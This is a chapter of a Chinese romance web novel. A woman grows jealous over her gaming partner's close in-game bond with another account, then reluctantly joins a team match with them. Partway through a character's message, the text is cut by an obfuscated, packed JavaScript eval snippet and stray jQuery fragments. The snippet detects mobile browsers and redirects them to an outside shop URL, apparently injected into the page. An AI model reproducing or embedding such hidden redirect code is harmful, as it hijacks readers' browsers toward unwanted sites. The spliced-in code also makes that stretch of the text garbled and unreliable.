苏雨眠忍着先没催。
点开沈西昀的游戏主页研究了起来。
沈西昀衣食住行都不缺钱,却适度消费,没有把所有皮肤都买一遍、一掷千金把VIP等级充到最高,适度消费。
消费观又和苏雨眠相同了。
契合点+1,苏雨眠美滋滋地暗爽。
挂在首页展示的是大乔白鹤梁神女的皮肤,价格不贵,大乔身上笼着温柔的神性。
苏雨眠触碰了下屏幕上大乔的脸。
心里有藤蔓在疯狂生长,缠绕。
想在此刻摸到的,是沈西昀毛茸茸的脑袋。
不知道手感怎么样。
在她的想象中,是干净清爽的,微微扎手,轻微的刺激更让人欲罢不能,最好有被阳光晒过的暖意。
苏雨眠又点了沈西昀游戏里面的亲密关系。
没隐藏,明晃晃地摆出来了,挺好。
有些渣男亲密关系里绑了一堆妹妹,设置隐藏,到处搞暧昧勾搭妹子。
苏雨眠没有给沈西昀发送绑恋人关系的申请,怕时候不到,被他无情点击“拒绝”。
会很受伤的。
也不想绑个其他闺蜜、兄弟、姐妹的关系过度一下。
她要绑只绑恋人。
沈西昀的亲密关系看起来挺正常的,基本是男号,挂“死党”“兄弟”标,一看就是现实中认识的朋友,没有在网上胡作非为。
其中只有一个扎眼的女号。
在一众男号中格外突兀。
亲密关系最高,有30级,这个数量不仅要天天一块打游戏打个一年,还得互相送一堆增加亲密度的玫瑰花才能肝到。
女号名叫“鸣鸣酱”,娇嗲可爱的风格,头像是二次元动漫女头。
绑的关系还是“姐妹”!
苏雨眠呼吸停了。
憋到缺氧。
心口仿佛被人抡了大铁锤猛砸了下去。
靠!沈西昀是男的,和“她”怎么姐妹相称啊!
说这两人之间没点特殊之处,鬼都不相信。
苏雨眠机械地凝视着手机屏幕,直到手机屏因长久没有操作熄灭,她都还保持呆呆愣愣拿着手机的样子,眼睛里什么东西都没有装,空空荡荡的。
她好久好久后才有力气抬起头,茫然空洞,视线不知该往何处聚焦,最后无措地落在了公寓的落地窗上。
春日天气多变,早上还艳阳高照,阴沉了一下午后,春雨说下就下,细细密密的雨丝很快就把窗户玻璃刮花,蜿蜒成了一条条水流。
苏雨眠的心也下起了小雨。
“喵呜喵呜。”感受到妈妈情绪不好,蹲在窗边优雅看雨景的鱼崽,“哒哒”小跑着冲过来给苏雨眠一点安慰。
苏雨眠伸手接住鱼崽,不是滋味,有记忆以来,她动物缘非常好,总是招小猫小狗喜欢,小时候,不认识的野猫都能成为她的玩伴。
就是人缘差了点,社恐,朋友寥寥,只在网上放飞自我,在学校里也笑也闹,但总是和大家隔了一层透明的薄膜,一深入相处,大家都容易不自在。
不知不觉成了社会上的异类。
这么多年自娱自乐地过来了,却这个时间段,遇到了小辅助,内心世界不满足地蠢蠢欲动,想成为他重要的人,占据特殊的位置,慢慢开始一段从未探索过的感情。
苏雨眠有点迷茫,她对于小辅助而言,是特别的吗?
她至少很确定,这段时间以来,他们一有空闲时间,就是和彼此一起打游戏度过的。
甚至苏雨眠偶尔忙学校的事情没空打游戏,小辅助也会玩别的娱乐模式消遣,不会背着她独自上一颗星星。
与悲伤同时出现的还有不爽。
苏雨眠没来由地气不打一处来。
就算她是特别的又怎样?还有在他那地位更特别的呢!亲密关系那么那么高!是游戏列表里独一份的女性好友。
反观苏雨眠呢,跟他最多是游戏搭子的关系。
仅此而已……
感情太难了,不是可以查攻略拉进度条的游戏,全是不可控因素,并非努力就行。
苏雨眠拳头轻轻捶了捶手机,想象是在敲沈西昀的脑袋。
真想敲开他脑袋,看看里面到底装着什么,就不用猜来猜去了。
还真敲出来一条消息。
是沈西昀发来的语音条。
他们一般直接打字让对方上号,闲聊也是打字,这还真是第一次发语音。
苏雨眠正胡思乱想伤心着呢,懒得理睬他,准备封心锁爱了,继续回到生活中不惦记男人潇洒一个人的状态,逐步戒断,还是架不住好奇,播放语音条。
沈西昀:“晚上回我妈家吃了个饭,下雨了有点堵车,我正在开车回来,大概半个小时吧,你着急就先开。”
录入了AI机械地导航的电子音。
雨点砸在挡风玻璃上刷刷的。
还有暴躁的司机狂按喇叭的“滴滴”。
微信收声很好,和破破烂烂失真的游戏麦不一样,沈西昀的声音真实到像是有纹理,磁性而清爽,切切实实地入侵到苏雨眠的生活里来了。
他本身,成了一场势不可挡的春雨。
他不是突然之间出现在她身边的。
苏雨眠隐隐有感觉到,这是命运安排的降临,指定由这个人来拨动她的心弦。
苏雨眠有气无力:“不想打,你们玩吧。”
占有欲发作了。
可以没名没份,不能名正言顺地表达出来。
沈西昀:“啊?”
什么“你们”,哪来的“你们”?他自从认识苏雨眠之后,不就只和她一个人玩游戏吗?
黄亦鸣拉了他好几次,他怕突然来了个陌生人苏雨眠不自在,都没去呢。
苏雨眠挺想戳进“鸣鸣酱”的主页看一看的,又心知这样不好,生生忍住了。
视奸陌生人的行为非常冒犯。
苏雨眠前两年莫名其妙地就在类似情况下成了躺枪的受害者。抖音总是有一陌生的访客一天到晚扒拉苏雨眠的主页,一天看个好几次,资料显示对方也是江大的,苏雨眠礼貌问了下是不是同学,对方也不回,拉黑后,她又被人换着号天天继续扒拉,甚至她打卡过的蛋糕咖啡,几天后,对方以同一视角构图打卡。
令人不寒而栗。
纯骚扰。
苏雨眠感觉自己底裤都不剩了,浑身上下爬满了粘腻的目光。
这种事,没有实质性的伤害,没办法求助,愤怒的苏雨眠在朋友圈喊话,过了两天有个学弟支支吾吾地道歉,说是有个喜欢他的学妹,知道他对苏雨眠有好感,才举手投足研究模仿她……
苏雨眠气得不行,不接受道歉,反手把学弟拉黑删除,不再搭理半句话。
推己及人,苏雨眠按捺住了对鸣鸣酱的好奇心,抱着鱼崽听雨声,昏昏欲睡。
沈西昀回到了自己的住所,手机充上电,看游戏内苏雨眠是在线的,一把游戏没打,就那么默默在线。
不知道她在干什么,盯着单一的游戏页面看,不无聊吗。
沈西昀刚躺下两秒,又弹起来电脑开机,打包了一份恒业法务部最近三年笔试面试的题目发给苏雨眠。
题目没有保密,在网上花点功夫能检索得到,不算作弊泄题,沈西昀主要起到一个给苏雨眠过滤收集信息的秘书作用。
沈西昀:“好好准备吧,你的基本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625853|206112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
功很扎实,对你不是问题。而且偷偷告诉你,法务部出题的人很懒的,不喜欢更新题目,往年的了解一下差不多稳了。”
沈西昀纠结地想象过苏雨眠在恒业工作的场景。
到时候他的真实身份肯定捂不住,那他就用面瘫来应对尴尬。
最好能把苏雨眠的工位安排得离他近一点。
她小时候天天让他背书包的,他最后都背习惯了,成了她的小书童,等工作了,她使唤他起来,不更得心应手吗,估计时不时让他帮带个咖啡工作餐之类的。
工位近才方便做这些。
苏雨眠没什么社会经验,实习经历少,又宅,一看就知道是个还不懂社会险恶的老实内向孩子,有人的地方就有职场争斗,沈西昀预备多盯着她点,免得她遭了职场老油条的欺负。
苏雨眠无精打采地说:“不想准备。”
“为什么?”
“不想去恒业了。”
“有更好的单位了吗?”
“没有。”
沈西昀愈发疑惑:“那为什么不去恒业?”
苏雨眠挺蔫巴的,她既然对他求而不得,那大家在一个公司的话,抬头不见低头见,碰见了总会叫她难受,天底下好公司千千万,她何必在一家单位吊死,给自己找不自在呢。
她要戒断沈西昀。
可能已经戒断不了了。
她现在只是情绪上头,哼哼唧唧地闹了小脾气:“没有为什么,心情不好,就是不喜欢,不想去,好烦呀。”
好烦她那么在乎他。
他却有更特殊的人与关系。
沈西昀静静听着,大概感受出来她心情不好,提议道:
“心情不好那就别学习了,放松放松,来上号打游戏,我看你在线,我拉你了啊。”
03天才辅助邀请了兔子心态放松组队。
兔子心态放松点击了拒绝。
沈西昀:“怎么连游戏都不打了?”
苏雨眠:“你们玩。”
沈西昀终于问出口了:“我和谁玩呀?”
“鸣鸣酱呀。”
“哦,你怎么知道他的。”
“你和她绑了关系,展示出来的,等级真高啊。”
他们指代的人都不是一个性别,谁也没察觉出来。
沈西昀顺口提了两句:“嗯,初高中天天在一块玩,后来他天天在网上cpdd,我不太喜欢和不认识的人组队,有陌生人我就不参与了。”
苏雨眠大惊:他和鸣鸣酱,竟然还是初高中同学青梅竹马每天相处的情谊?那她还算个屁啊。
她蔫巴了。
黄亦鸣上线了,拉沈西昀拉个不停:“好兄弟来来来啊,我排位表现分差一点,被不靠谱的队友坑麻了,你陪我赢几把,我下周就能拿国服标了!”
沈西昀:“我和她打。”
黄亦鸣憋着坏,提议:“哎呀,那就一起打嘛,别见外!嘿嘿嘿,你们这关系,我们大家迟早是要认识的呀。”
沈西昀没费口舌跟黄亦鸣澄清,征求苏雨眠的意见:“我们三个三排怎么样?他排位表现分差一点拿标。”
沈西昀又发来了邀请,系统显示他的队伍里还有一个人,显而易见,是那位“鸣鸣酱”。
苏雨眠彻底傻眼了,彻底搞不清楚沈西昀是什么路数。
她不要参与他和他青梅竹马间奇奇怪怪的play啊!
可是,她再三逃避,有种落荒而逃怂了怕了的意味。
苏雨眠要保持体面,做了两秒钟的心理建设,接受组队邀请,进了队伍。
一进去,就被粗犷的大嗓门轰炸:
“哈喽啊哈喽啊,欢迎兔子,热烈欢迎!”